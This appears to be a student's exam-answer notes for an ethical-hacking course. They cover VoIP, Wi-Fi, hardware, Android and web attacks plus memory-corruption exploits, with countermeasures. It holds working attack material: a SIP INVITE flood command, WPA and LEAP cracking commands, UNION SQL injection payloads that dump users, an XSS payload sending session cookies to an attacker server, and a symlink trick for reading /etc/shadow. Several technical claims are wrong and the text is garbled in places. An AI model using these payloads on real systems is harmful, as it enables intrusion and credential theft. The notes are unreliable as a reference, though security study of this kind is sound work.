* **Enumerating VoIP users**: users can be enumerate observing the response of the server, because SIP is a human readable, SIP gateway follow the same basic specification; **open source SIP gateway** can be enumerate with **Asterisk REGISTER user enumeration** and **SIP Express router OPTIONS user enumeration** techniques. **First** happens when client makes a REGISTER request to **SIP gateway** using valid username without authenticating, server response with **SIP Unauthorized**; when client registering username with authentication after Unauthorized message, the server replies with **200 OK messages** and in addition the **user agent** tells the type of service running; when REGISTER request comes from an invalid user, server responds with **SIP Forbidden**. **Second** happens when client makes OPTION request to **SIP Express router server** with valid user and server replies with **200 OK messages** but this time the **user agent** tells the type of phone user using; when client sends a request for invalid user, server replies with **SIP Not Found**
* **SIP invite flood DOS attack**: simplest and effectively attack, attacker sending more and more fake call setup signals SIP INVITE, typically with **invite flood tools** that floods SIP INVITE to consuming resources and go it down, command is **./inviteflood eth0 1000 ‘domain\_of\_target’ ‘IP\_of\_target’ 1000000000**; so specify in the **command interface**, **extension**, **domain**, **target IP** and **count** of INVITE messages. **Countermeasures** are segmentation network between voice and data, implement authentication and encryption and place IDS or IPS to detect or stop attacks

21 Citrix vulnerabilities

**Citrix** is a client-to-site solution to provide remote access to desktops and applications, in particular **Citrix Access Gateway** is a secure access application that provides application-level administrators control. **Vulnerabilities** of Citrix Access Gateway are related to misconfiguration and implementation errors in a **remote desktop** typically windows, **bulk commercial applications** and **custom applications**. **Remote desktop** are offered by companies that gives the VPN and the entire desktop, not only the application, for this administrator must remove access to applications to limit the attack surface but it is not enough; **bulk commercial applications** offering access of common applications to cut off cost to distribute each application to employees, but this applications haven’t security but only restricted access; **custom application** instead used by companies to share sensible information inside the network, but if the net isn’t secure, attacking network means taken Citrix’s stored information. It is important to test the applications because a process can spawned by other authenticated process, in a Citrix environment and run under the Citrix user authenticated

To **attack** you should gain access to application like windows explorer, cmd.exe, power shell, guide, Microsoft office, task manager, calculator, printers, internet access, hyperlinks, file system access, Microsoft games

**Countermeasure** for Citrix attacking are to put location of **Citrix Access Gateway** in another protected network, not in the common network with other hosts, apply whitelisting of URL, apply multi factor authentication to restrict the person that can access to **Citrix Access Gateway**

22 War dialers tool and Dial-up hacking phases?

**War dialers** are tools composing automatically bank number to identify systems which phone is connecting and trying to access with common username and password, **dial up hacking** consist to use **war dialers** to attacking banks.

Attack is divided 3 phases that are **footprinting**, **scanning** and **enumeration**, lets see

* **Footprinting**: using tools, find public information on website like numbers and company name related. **Countermeasure** is to prevent leakage of information and set password for each account
* **Scanning**: place all the number founded with **footprinting** in **war dialers** tool, it will categorize input numbers based on the answer obtained, using VoIP connection
* **Enumeration**: after **war dialers** categorize all numbers and return the output, attacker categorize the output into a 1 of the 4 domain, depending by number authentication mechanism. After domain identification, try **brute force penetration**

23 Describe at least one method for attacking WPA. Which countermeasures can be used?

Before performing the attack methods to **brute forcing** the keys, there are a pre phase that attacker must do that is **obtaining the 4-way handshake**. **4-way handshake** happens every time client connects to wireless network, attacker can passively wait the handshake or de-authenticate the host to make him to try to reconnect and sniff the handshake, make sure that tools using to sniff, are sniffing only specific channel of the target, a command to performing sniff is **airdump-ng –channel ‘number\_of\_the\_channel’ –bssid 00:16:XX.. –write wpa-psk mon0**

There are **3 methods** to attack a WPA, **aircrack**, **rainbow tables**, **GPU cracking** that are all method to brute forcing the **4 way handshake** taken in the pre phase, lets see

* **Aircrack**: command is **aircrack-ng -w password.lst wpa-psk.cap**
* **Rainbow tables**: tables containing precomputed hashes for a particular algo type, cracking multiple times the same algo with this table means reducing drastically the time of the attack; brute force program take a string (password), encrypt it with a specific algo to produce the hash and compare the hash to the one you are trying to brute force, if string doesn’t matches, program take another string
* **GPU cracking**: increasing the cracking speed of hashes because GPU is more powerful

**Countermeasure** is to use WPA-PSK only in a protected network environment and ensure complex keys, WPA-PSK has not high security because choose pre-shared keys

24 Describe at least one method to attack WPA Enterprise. What are the possible countermeasures?

Before attacking a WPA enterprise, attacker need to **identifying the EAP types**, this can be seen as an attack but it is first a pre phase; to identifying the EAP that client use, attacker should observe the communication between client and AP during **EAP handshake**, capture **EAP handshake** in the same way as **4-way handshake** with WPA-PSK. Attacker can use wireshark tool to analyze the EAP handshake with filter command **eap** to inspect only EAP packets

After pre phase, there are **2 attack method** attacker perform, **LEAP**, **EAP-TTLS and PEAP**, lets see

* **LEAP**: this protocol takes a **challenge response** and transmits them in clear way though the net, attacker can just observe traffic and sniff challenge and response and perform a brute force attack, command is **asleap -r leap.cap -W password.lst**
* **EAP-TTLS and PEAP**: common used for EAP types, using **TLS tunnel** between unauthenticated client and **wired-side RADIUS server**, AP hasn’t visibly into this tunnel but simply relay the traffic between client and RADIUS, so if the attacker take the AP it cannot see the connection, the only action it takes is to make down the **TLS connection**

**Countermeasure** for **LEAP** attack is to make a complex password because like WPA-PSK remain a weak protocol; **countermeasure** for **EAP-TTLS and PEAP** are checkbox for input file, checking the certificate of the server and force the client to ignore different RADIUS server

25 Wireless interface sniffing (clone)WPA authentication and wireless interface sniffing (clone)

To access to **wireless interface**, need a wireless card of client or a bluetooth device, at this point layer 2 tools can attack the device. Fist identify the **FCC ID** of the target device, it is printed on the device, with FCC ID attacker can search on FCC website to see info related to specific ID like frequencies, type of modulation, symbol decoding; to do this attacker need radio software like **WinRadio** or **USRP**.

**WPA** is a certificate that indicate using of **TKIP** by wireless device, **WPA2** indicate the use of **TKIP +** **AES** by wireless device

26 Explain what is Advanced Technology Attachment security mechanism. Describe the step of the attack which is able to bypass ATA security. How to defend against such a bypass?

ATA is a technique used by companies to **protect stolen laptop**, consist to put a password to allows hard disk can be access by BIOS, this technique doesn’t encrypt or protect the content of the drive, only access to it, it is a weak method protection.

**Attack** against ATA technique is **hot swap attack**, consist to have a pc able to set ATA password with an unlocked drive, boot the pc with unlocked drive, enter in the BIOS interface to set the new ATA password, replace the unlocked drive with the locked one and setting the password with BIOS interface, rebooting this hard disk and insert the new password set that overwrite the previous one. If attacker would remove the password he can do it because now the password is known

**Countermeasure** of ATA attack aren’t really useful, best option is to don’t use ATA but other services that encrypted the entire drive, like **BitLocker**

27 Describe at least two techniques for hacking devices (hardware). In particular, describe the attacks against hardware devices that store sensitive information.

There are **2 techniques** for hacking hardware devices that storing sensitive information, **magstripe card hacking** and **RFID card hacking**, lets see

* **Magstripe card hacking**: magnetic card has for standard 3 data tracks called tracks 1,2 and 3, most of them has no security measure to protect data inside and encrypt data in clear text, so they are easy to clone. Tools for clone, alter and update their data are **makinterface.de reader/writer** with **magnetic stripe card explorer software** that allows attacker to do anything once data of the card has been acquired, like display card data, ID number, serial number, social security number name, address, account balance. Brute forcing card can allows to gain access, to analyze card is needs to training the tool to read more card of the same type to find a common context, to write data to card is more difficult because attacker need to include the **checksum** data to check if the card is damage or not; if needed recalculate the **checksum**
* **RFID card hacking**: RFID card system substitute the magstripe card, they come from private company and have their personal protocol, for this there are pre-assembled devices and kits available form **openpcd.org**, otherwise more read and write device is **proxmark3**. Attacking this type of card is more expensive because attacker need to buy company toolkit, that is a part of the circuit, to make modification on the cards. External option is **USRP** that can intercept the raw signals of the RFID cards in its common frequencies (RFID card access system operate at 135kHz) and decoding it with company protocol, this allows to clone the card

**Countermeasure** for cloning access card is applied by **RFID access systems** that implement a challenge-response cryptography algo, when card is scanned by reader, it sends a challenge to RFID card that encrypt and sign with its private key, after sending back to reader. Validate the response before allowing the access, exchange were encrypted so it doesn’t use twice

28 Firmware reversing and bus sniffing

Embedded devices required **custom firmware** loaded by the user, searching specific custom firmware to find default password, administrative ports and debugging interface. Tools for reverse engineering a custom firmware are **IDA pro**, UNIX command **strings** that prints all ASCII strings from the binary

Attacker can mount the firmware image using command **sudo mount -o loop -t cramfs**, after can browse the file system to search public and private authentication keys with commands **find /tmp/cramfs -name\*.key** and **find /tmp/cramfs -name\*.cert**; after obtained the keys, attacker can forge a SSL connection to private network. Another attack vector is **unintentional backdoor** created by programmer of the custom firmware to test the product

**Bus sniffing** is done by accessing physical bus and attaching to it an hardware device capable to sniff all the signals passed through bus thanks to **logic analyzer**, this device will be connect directly to pin of bus; after the sniffing to reconstruct the communication happened on the bus, logic analyzer of hardware device must need to know the clock period of the bus to derive the log of the communication.

**CAN sniffer** is a device that allows to perform bus sniffing, in particular CAN bus via **USB** or **interface RS232**, can perform also stand-alone system and save on its memory until 8000 messages. **CAN sniffer** is simple to be configured thanks proprietary software it has, can be also already available after first plug in on interface/USB; with software can be configured address, baudrate, high and low speed; can be used also as configuration devices

29 Explain differences between Cross-Site scripting and Cross Site Request Forgery. Which countermeasures can be used? (clone)CSRF, token e XSS (why anti-CSRF tokens don’t work as countermeasure if there is a XSS vulnerability) (clone)

**Cross-site scripting XSS** is generated by **input validation** problems and wrong **encoded output**, typically **XSS** attack payload targeting user of the application instead application, because **XSS** injection of code to stole cookies and session and perform malicious action in the name of user, **XSS** can result in hijacked accounts and sessions, cookie, misdirection of the user. Countermeasure are filter input parameters for special characters like **>**, **<**, **#**, **&**, **”**; HTML encoded output so even if special characters are in input, they appear simple text on output and not executable code; using only Microsoft cookies and analyze application against **XSS** attacks before lunch it

**Cross-site request forgery CSRF** is a web attack on the server side session of the user, is generated by session/cookies, web application use persistent authentication session, in this way the user login only first time on the site and not every time reloading the page, attacker stole and use the active session to submit a malicious query in name of user performing malicious action like changing account password, transfer funds and the user will not notice nothing until malicious action has done; user cannot do anything because for the server he performed the request, because session was associated to him. **Countermeasure** is application to put a random values, **anti-CSRF token**, associated to session in the request of the user, if request comes with different **anti-CSRF token** values as random assigned before by site, then request will be drop and re-authentication is needed to continue navigate. **Anti-CSRF token** change every time user request or refresh the page or timeout of inactivity incoming, so server now must check **token** and session, if one of 2 aren’t of the user, request will be drop

**Anti-CSRF token** doesn’t work with XSS because suppose that XSS sends in its payload an **anti-CSRF token**, when user receives the payload of XSS obtain the **token** and then forge a new payload with the same **token**, so countermeasure doesn’t work

30 Describe the SQL injection technique in web applications. Discuss the possible countermeasures. Describe at least one automated SQL injection tool

**SQL injection** is performed inputting raw SQL queries into an application to perform an unexpected or malicious action; when web page perform a request, application generates a query, typically incorporate a portion of the request in the query, if the application doesn’t check the query, an attacker can alter the query and changing how it is processed by external services; this can be more dangerous because can surpass firewalls. Some character used for such input validation attacks include **‘**, **--**, **;**, because having special meaning in SQL

Software helps to automate SQL injection are **HP WebInspect** and **Rational AppScan** that have a tools and checks to performing automate SQL injection. Completely automate tools are **SQL power injector**, **absienthe**, **SQLNinja** and **sqlmap**, they providing more false positive to detecting **vulnerabilities** for SQL attack, but it is a good starting point because SQL injection is typically performed manually, lets see

* **SQL power injector**: is a tool that analyze web applications and locate SQL injection vulnerabilities
* **Absinthe**: is a GUI based tool that understand the schema and contents of a database that has a blind SQL injection vulnerabilities
* **SQLninja**: is specialized to take over the host of Microsoft SQL database, can also crack password
* **Sqlmap**: useful for support for SQL injection attacks

**Countermeasures** to avoid SQL injection are use bind/static variables to create queries, implement input validation, use program framework to use bind/static variables, lock down the database server configuration. SQL is the simplest attack to avoid

31 What does it mean that the HTTP protocol is stateless? What limitations come from this fact? What are HTTP sessions and what are the major techniques to implement sessions? Describe in detail the functioning of at least one of these techniques.

HTTP is a **stateless protocol** because each request is executed **independently**, without taking knowledges of previous request executed before

**Limitation** about stateless HTTP regarding dynamic web application that needing the session to work in a correct way

**Session** allows to save user authentication on the website for all its permanence in the website, without performing login every time refresh the page, store user preferences and keep track of past action of the user

**Session** can be saved and managed by **3 different techniques**, **payload HTTP**, **URL** and **HEADER HTTP** or **cookies**, lets see

* **Payload HTTP**: **<INPUT TYPE = “hidden” NAME = “sessionID” VALUE = “1234”>**
* **URL**: [http://www.example.com/page.php?**sessionID=1234**](http://www.example.com/page.php?sessionID=1234)
* **HEADER HTTP** or **cookies**: most used, session data is stored on the server, the servers sends **sessionID** to the client through cookies and for each request performed by client, puts in the **sessionID**, in this way server matches/recognize the user by **sessionID** and retrieve information. **cookie:sessionID=1234**

32 What is a Blind SQLi? Make a concrete example.

**Blind SQLi** has the same principle as SQLi but attacker that inject malicious query **doesn’t see** the result on the screen

Considering an application that use **coockies:sessionID=1234**, cookies are also in the request and the application create a query started from this request + cookies like this **SELECT sessionID FROM sessionUser WHERE sessionID = ‘1234’**; this query checks if the user with cookie = 1234 exist in the server to recognize it, this type of query doesn’t return any result to user so it is vulnerable to blind SQLi, but the application perform different operation depending result of the query, if user exist then **welcome back** message is displayed, otherwise nothing, but nothing is enough to understand the result of the blind SQLi.

Suppose that 2 request have as cookies value **1’ OR 1=1 –** and **1’ OR 1=2 --**, SELECT sessionID FROM sessionUser WHERE sessionID = ‘**1’ OR 1=1 –'** query will return **welcome back** because injected code 1=1 is true, the second doesn’t return nothing because 1=2 is false, this allows attacker to determinate the result of blind SQLi

33 What is a Cross Site Scripting (XSS) and what are its goals and causes? What types of XSS exist? Describe at least two types of XSS in detail

**Cross-site scripting** is generated by wrong **input validation** and wrong **encode output** that allows to see the output as text and not as executable code, **XSS** doesn’t target the application itself but user of the application because perform injection of code to stole cookies and session and perform malicious action in the name of user, for this **XSS** can result in hijacked account and sessions, cookies, misdirection of the user

There are **3 main types** of XSS, **stored XSS**, **reflected XSS** and **DOM-based XSS**, lets see

* **Stored XSS**: happen when user input is stored on the target server, like database, message forum, comment field, so injected code will be **store in the server** and every browser that will load this type of content will execute the injected code
* **Reflected XSS**: happen when input is immediately returned by web application in an error message or other result that take the input of the user, so injected code is done in the **URL request** of the request and executed when it will be displayed by error message on the client browser
* **DOM based XSS**: happen when data flow source to sink take place in the browser, data flow never leaves the browser of the client, so injected code is sent in **URL request** and it will be executed in the actual browser

34 Describe in detail Cross Site Request Forgery (CSRF). Provide one concrete attack example. What are CSRF tokens? How do they work?

**CSRF** is a web attack on the **server side session** of the user, is generated by session/cookies, web application use persistent authentication session, in this way the user login only first time on the site and not every time reloading the page, attacker stole and use the active session to submit a malicious query in name of user performing malicious action like changing account password, transfer funds and the user will not notice nothing until malicious action has done; user cannot do anything because for the server he performed the request, because session was associated to him.

Take that HTTP is a **stateless protocol**, that means every request is independent from the others performed before, doesn’t take care about session; web application use **cookies** to save the session, when the user sends request to server, sends also the **cookies** that server checks to knows if the user exist, is logged and so can perform the request. If attacker sends **malicious URL** to user like [**http://website.com/change-pwd?new-pwd=attack-success**](http://website.com/change-pwd?new-pwd=attack-success), and the user clicks the link with its logged in the website, browser will attach to this request also the **cookie** of the user, so server perform the request because cookie matches, so change password. For the server and for everyone this is a regular request performed by real user

**Countermeasure** is **anti-CSRF token** that is a **random value** that server sends to client when client requires a page of the site, when user perform a request add also this **token**, so server need to check 2 values, cookie + **anti-CSRF token**, if each matches then request will be done. This **token** changes every time page refresh or the user request

35 Describe what steps you would take to assess the security of a web application. Explain your workflow and describe the activity step-by-step, including what vulnerability you would look for in each step

To check the **security of a web application** you must follow some steps in order, **google dork**, **web crawling** and **session management**, lets see

* **Google dorks**: implement this technique of google hacking specifying a query like **index of/target** that allows to find some page of the target not published but indexed by google, is a path traversal
* **Web crawling**: download locally the website and **analyze** all pages like HTML and PHP pages, search useful comment or sensitive information, understand script and other files
* **Session management**: check if there is any input validation, how login and registration are managed, interaction of any database to perform SQLi

36 Hacking Other Androids: Describe at least three methods to attack others Android devices. What are the possible countermeasures? (clone)Data Stealing, Capability leaks, URL Malware (clone)

There are **9 method** to attack android devices, **remote shell via webkit**, **root an android remotely**, **URL malware**, capability leaks, **skype data exposure**, **data stealing**, **HTCLogger**, **Carrier IQ**, **Google** **wallet hacking** lets see

* **Remote shell via webkit**: **floating point vulnerability** in **webkit**, that is an open source web browser, allows attacker to create an HTML file that is placed in a web server like **Apache2** when user visiting this HTML page hosted in the web server via **webkit** web browser, returns a **remote shell**. **Countermeasure** is to update android to last version and installing antivirus
* **Root an android remotely**: after get **remote shel**l via webkit, attacker should make this shell with **root privileges**, using **RageAgainstTheCage RATC** attack to obtain root shell; **RATC** use the **Android Debug Bridge** **adb** daemon vulnerability because **adb** starting with root privileges and allows its privileges to shell account with SETUID. **Adb** daemon is typically enable on android device by software developer that want to communicate with device when it is in testing mode. **Countermeasure** is to update android to last version and installing antivirus
* **URL** **malware**: android allows installation of applications also via web browser, if user open a link pointing a malicious **apk** file, this link will download automatically the malicious **apk** and after ask the user if he want to install it. This method was used by 2 banking-trojan called **Zeus** and **SpyEye**, malware inject malicious frame into the pc’s web browser and after initial credential has stolen, display a page that encourage user to click an URL pointing **apk** malware that intercepts all the bank’s sms containing the **OTP**. **Countermeasure** is to disable the installation from unknown sources from options, in this case if malicious URL try to download an **apk**, device will block the download
* **Capability leak**: is an attack performed by application that uses permission without declaration in the **manifest**, android has many already installed application that allows other application to use their **permission**, there are 2 types of capability leak, **explicit** and **implicit**. **Explicit** happens when a malicious application with low privileges calls an already installed application with high permission to use its high privileges to perform malicious action. **Implicit** happens when malicious application takes the same high permission of already installed application because has the same **signatures key** in the **manifest**, same **signatures key** allows also to share **user identifier** and **digital certificate**. This attacks can be used by attacker to take sensitive permission like send sms, record audio, install packages. **Countermeasure** is to verify authors of the application you install on your device, install only by google market and install also antivirus
* **Data skype exposure**: another attack comes from vulnerabilities that already installed application has, like Skype, that expose private data to any application because files that stores the data didn’t have permission or encryption. **Countermeasure** is to update applications
* **Data stealing**: allows a malicious PHP page to run a malicious JavaScript code on you device, this isn’t happen in background so notify appears, attacker must know the **path** of the attack. **Countermeasure** is to visit only trusted site
* **HTCLogger**: was an application tracking geographical information, sms and different logs, but expose all these information to all application with internet access declared in the **manifest**. **Countermeasure** is to uninstall HTCLogger
* **Carrier IQ**: like HTCLogger, was a already installed application in the device that running in background to store logs information, geographical position, sms and calls, but expose these information because they aren’t encrypted and aren’t anonymous, **Carrier IQ** associate this information to **IMEI code** and **phone numbers** of the device, so an attacker not only can steal information, but can enumerate/associate them easily. **Countermeasure** is to uninstall Carrier IQ
* **Google wallet hacking**: is an application that stores data of credit cards, but those data are stored in a **SQLite database** protected only by password, attacker with root permission can take the hashes of the password and can crack them. **Countermeasure** is to store data in a more secure place

37 Can Linux security tools be ported to Android? Which tools? Write console commands.

Android has Linux kernel, android OS are in a normal **cross-compiled Linux kernel** and this implies that android device as real Linux machines using command shell via **adb** such as **ls**, **chmod** or **cd**; another **advantages** of Linux is the availability of open source tools, but naturally an executable in Linux cannot be execute in android because different architecture compilation

Collection of **tools** like **BusyBox** are **cross-compiler** that creating executable code for other platform different by platform were compilation happen, so allows you to write C code on your pc executable in kernel level that can be portable on your android device because execute it at the same level; a possible attack can be distributed an open source application to target, target device download it, execute it and perform **RageAgainstTheCage** attack.

**BusyBox** allows to execute useful commands like **tar**, **dd** and **wget**, installing **cross-compiler BusyBox** on you android device is simple and after allows you to execute command as on your Linux pc like **tcpdump** and **nmap**. Installing **BusyBox** with this command in sequential order: **adb shell**, **su**, **mkdir** busybox, **adb** busybox/data/busybox, **chmod** 0755/data/busybox/busybox, **cd** /data/busybox, .busybox **–install**

38 Four Android (>=3.0) security measures and if there are known exploits.

Security measures for android device are **keep you device safe**, **lock your device**, **avoid installing applications from unknows sources**, **installation of security software**, **activate total internal encryption** of the storage area, **update to the lasts available version of android**, lets see

* **Keep your device safe**: avoid physical access to device from attackers
* **Lock your device**: to avoid unauthorized physical access to device, android make different method to protect the device, like 4-digit pin, password, draw figure on the screen (possible to see tracking on the screen) and face unlock mechanism
* **Avoid installing application from unknown sources/developer**: most malware comes from alternative application markets, google market check the application before inserting it; In any case a security plus is to avoid installation from unknown sources available from settings options
* **Installation of security software**: not only useful to protect device by malware but also protect the data inside the device, like cancelling private information, GPS tracking, blocking incoming and outcoming calls, web protection
* **Activate total internal encryption of the storage area**: android allows to full encrypt the system in case of loss
* **Update to the last available version of android**: enable automatically update

39 Consider a website that allows users to register in order to access some specific functions (ex personal profile). The user registration form consist of multiple input fields that the user needs to fill in, such as name, username, password, etc. how would you assess the vulnerability of the user registration page against SQL injection?Assume that when a new user tries to register the web application runs the following SQL query against a database to check if the username already exists with the following code, where $username is the user’s input: queryDB(“SELECT name, username, date FROM users WHERE username=$username”);If the username already exists, the web application prints the result of the query on the page, informing the user that the specified username is already in use. How would you exploit such web application to find out: Which tables exist in the database, Which columns are present in the table ‘users’, The name, username and password for all the users in the ‘users’ table.Provide the code to perform the exploit and return all the information listed above

Site allows SQL attacks, knowing the query generated by web application and sends to database, attacker can register new user with username **pippo’ OR 1=1; -- “**, in this case all the username, name and data will be show to the attacker, queryDB(“ SELECT name, username, date FROM users WHERE username= **‘pippo’ OR 1=1;--'** ”)

To shows all the table existing in the database inject **pippo’ OR 1=1 UNION SELECT table\_name, NULL, NULL, NULL FROM information\_schema.tables;--** , so use queryDB(“ SELECT name, username, date FROM users WHERE username= **‘pippo’ OR 1=1 UNION SELECT table\_name, NULL, NULL, NULL FROM information\_schema.tables;--'** ”). Now you can see the user name table

To shows columns presents in the table ‘users’ inject **pippo’ OR 1=1 UNION SELECT column\_name, NULL, NULL, NULL FROM information\_schema.columns WHERE table\_name = ‘users’;--**, souse queryDB(“ SELECT name, username, date FROM users WHERE username= **‘pippo’ OR 1=1 UNION SELECT column\_name, NULL, NULL, NULL FROM information\_schema.columns WHERE table\_name = ‘users’;--'** ”). Now you can see the column related to each users

To shows name, surname and password for a specific user in the user table inject **pippo’ OR 1=1;--**, so use queryDB(“ SELECT name, username, date, password FROM users WHERE username= **‘pippo’ OR 1=1;--'** “)

40 Consider a webpage that allows user to post comments and to view all comments posted by other users, something similar to a forum thread. Assume users visiting such webpage are already authenticated with a session cookie. The webpage uses the following code to display users comments and to store users comments in a database. How would you user cross-site scripting (XSS) and exploit the website to obtain the session cookie of all users that view the comments page? Provide a description of your approach and the JavaScript code used for the exploit. NOTE: remember that, since the webpage script dynamically loads users comments in the onload() phase, the use of the <script> tag for the attack will not work.

First you must understand if the text area is injectable with XSS, to understand use **<b>bold text<b>**, if the text become bold on the display that means site is injectable; need a server to do this type of attack, like **python server**, running on **port 8000** by default and with **IP address** is 11.11.11.11, injecting this code **<img src=fake onerror= “this.src= ’http://11.11.11.11:8000/?c= ’document.cookie”/>**

When web site application loads the comment, try to obtain an **image** from a **fake** website, but if this site is fake, application will never download the **img** so execute the **onerror** JavaScript code that allows user to perform a request with its **cookie** on attacker server **ip:port**, so attacker will get the cookie session of the user in its server log

41 Buffer overflow attack. Given the following code, identify and explain how you would perform a buffer overflow attack. Show step-by-step how the program stack changes during the execution of the function func. Finally, describe at least one countermeasure against standard buffer overflow attacks in UNIX systems. For simplicity, you can assume that there is no other function calls in the body of func. You do not need to use real bytecode for the exploit and/or real addresses, but rather you can use placeholders such as and ; please describe for each placeholder used what are the requirements for the exploit to work.Note that char \*argv[] is an array of character pointers, i.e. array of strings, passed to the program as input from the command line.

Assume that program is called **p.c** and the executable is **p**, in **p.c** there aren’t security measure, if the attacker execute on **cmd** **p ‘some\_input’** there aren’t problems and the execution ends in the right way. If the attacker provide an input > 128 bytes, there will be problems, because buffer is allocated for 128 bytes and code hasn’t check to control the length of the input, **strcpy** copy only, control nothing, so buffer overflow happens. In the **stack** there is a space allocated for the buffer and at some point there is a **return address**, a special address that indicate to compiler where return the output of the execution; first goal of the attacker is to understand how much input has to be longer to overwrite the return address

If the input is composed only by “a” characters longer than 128, return address will return somethings like 0x414141 means input overwrite the **return address**, need to identify the exact input length to overwrite the stack before the **return address**. After identify the right length, chose an **arbitrary code** to inject or a **shell code** like **/bin/sh**; finally create the **first part** of the payload putting **NOP** operation (**0x90**) to make CPU to do nothing until reaches arbitrary code, then choose the right **return address** for the attacker

The final payload is **NOP codes** + **shell code** + **return address**

**Countermeasure** is to implement secure code best practices, implements not executable stack, canary, address space layout randomization

42 Consider a linux system with an unprivileged account “users1” to which you have access. Given that the system is configured to run the “parser\_startup.sh” script as a root cron job at regular intervals, how would you retrieve and crack the content of the /ect/shadow file? Explain in detail how you would proceed, and list all the steps and commands to use

**File\_to\_parse** is under **user1** directory so **user1** can modify directory and substituting **file\_to\_parse** with **symlink** to **shadow file** with command **ln -s /etc/shadow ./file\_to\_parse**. **Parser\_startup.sh** is a root **cronjob** with root privileges so even **file\_to\_parse** will be execute with root privileges, for that the **symlink** linked to **file\_to\_parse** will have root privileges too and can access to **shadow files**.

**Shadow files** will be passed as parameters of **parse\_file** function and will be read line by line, but they will not pass the condition **IF (is correct format(line))** because **shadow files** are in hash format, that means every line of the shadow file will be printed in the **error printf** and attacker can see the hashes as output.

Taking the output and saved it, attacker can use **John the Ripper** to crack them to see all password of the users, because it already accept the **shadow file** format

43 Format string vulnerability. Given the following code, identify and explain how you would perform a format string attack. Your goal is to read the content of address(hexadecimal value) \x10014808. Show step-by-step how the program stack changes during the executions of the attack, as well as why the content of the supplied address is printed and how. Finally, describe at least one countermeasure against format string attacks in UNIX systems. Fir simplicity, you can assume that there is no other functions calls in the body of func, and the only local variables defined are the ones you can see in the code below

Suppose that program is called **p.c** and executable is **p**; **scanf** function take the input that user insert, this input will be copied into **buffer** and after **buffer** will be passed to function **func** to be printed with **printf** function; **buffer** is allocated in the stack with 24 bytes.

If **p** is executed the attacker can add inputs that will be printed with **printf** function, if the attacker insert some particular input on **p** like this **/x10**, **/x01**, **/x48**, **/x08**, **%x**, **%x**, **%x**, **%x**, **%x**, **%x**, **%s**, performs a input string attack because the first characters composed a **memory location address** and there are placed in the buffer stack allocation, **%x** characters do nothing else that reads the other location of the stack surpassing the location of the **buffer** in the stack, until reach a section of the stack interested by attacker; in this location, **%s** character prints the address memory location indicated in the first part of the payload, into the location stack reached thanks **%x** characters. Attacker puts another address location **overwriting**, for example, another address location that was placed in the stack location reached by %s

**Countermeasure** in UNIX system could be address space layout randomization, not executable stack and security strings libraries

44 Integer overflow attack

Suppose that program is called **p.c** and executable is **p**, **main** function take as input a parameter **string** that will be check for its length after passing to function **func**, if attacker execute **p** **‘some\_input’** everything will be fine, but if the attacker pass a **string** with length > 128, execution go on **error state**.

To exploit this code, considering the **int32\_t** data type, that is a signed integer, and considering its assigned memory location by compiler; in compilation time, compiler did **implicit casting** to a signed integer, so if the attacker passing as input a **string** > 128, its length will be interpreted as **negative value** in the **int32\_t** data type, for this **string** will pass the **IF(len > 128)** condition and it will be passed to function **func**

**Strcpy** function doesn’t check the length of its parameters and copy directly the **string** > 128 passed as input into the **buffer**, but **buffer** location in the stack is 128 max, so **buffer overflow happen**; attacker can use this vulnerability to reach other locations in the stack to inject some malicious code or other address memory for its scope.

**Countermeasure** is to use security function and more advanced checking in the code for input validation, implementing non executable stack and address space layout randomization,

45 Return-oriented programming attack

Suppose program is called **p.c** and executable is **p**, when compiler compile the code, put the function in the **stack**, respectively in sequence there are first **main**, **foo** and after **bar** functions. **Foo** and **bar** will not be called in a normal execution of **p** because there aren’t calling in the **main**, but attacker can reach them thanks their address location allocated previously in the **stack**

When attacker run **p** on **cmd**, **name** is allocated in 16 bytes memory long and **read** function wait input from **cmd** (**0** is the file descriptor, indicate **cmd** as input window), after input is putted into **name** and must be < 128 bytes, if attacker puts input > 128, buffer overflow happens and input will take other memory stack location after **main** function, in this case the goal is the **foo** function. Calculating input dimension, attacker can reach the return of the **foo** function and overwrite its return address, in this case file **flag** will be returned in a memory position chosen by attacker that it can read.

**Return-oriented programming** allows the attacker to overwrite a return address with its return address to see the output, it is performed with **buffer overflow** that allows to reach other position in the **stack**; **return-to-libC** attack is an attack used in the UNIX system that has enable the non executable stack protection, injecting in the stack code doesn’t wrote by the attacker but injecting a **library** address already present in the system, but with malicious modification.

An attacker can perform a return-oriented programming (ROP) attack in order to get the content of the "flag" file by manipulating the program's stack and taking control of the execution flow. ROP attacks leverage the system's existing code segments (gadgets) to create a malicious payload and redirect the program to execute it.

Explanation of how the program stack would change during the execution:

* The attacker inputs a payload larger than 16 bytes into the "name" variable, overflowing the buffer. This overflows into the return address on the stack.
* The return address on the stack is overwritten with the address of a gadget in memory. This is chosen to performs a useful operation or sets up the next gadget.
* The attacker searches for a sequence of gadgets that will allow them to execute the desired actions. In this case we want to execute the "foo" function.
* The attacker identifies the address of the "foo" function and places it in the return address position on the stack.
* When the "main" function returns, the program counter (PC) is redirected to the address of the "foo" function.
* The "foo" function is executed and it returns the file descriptor of the "flag" file.
* The attacker again overflows the buffer and modifies the return address on the stack to point to the next gadget, which is the address of the "bar" function.
* When the "foo" function returns, the PC is redirected to the address of the "bar" function.
* The "bar" function is executed, and it opens the "notflag" file and transfers its contents to the standard output.

Crafting the payload in a right way and manipulating the program stack, an attacker can execute arbitrary code and gain access to the content of the "flag" file.

Coutermeasures against buffer overflow could be: Ensure proper validation of user input, Handling user input to prevent such attacks (sanitize input), Perform more secure programming and use more secure C functions (strncpy etc), Check buffers lenght before perform copy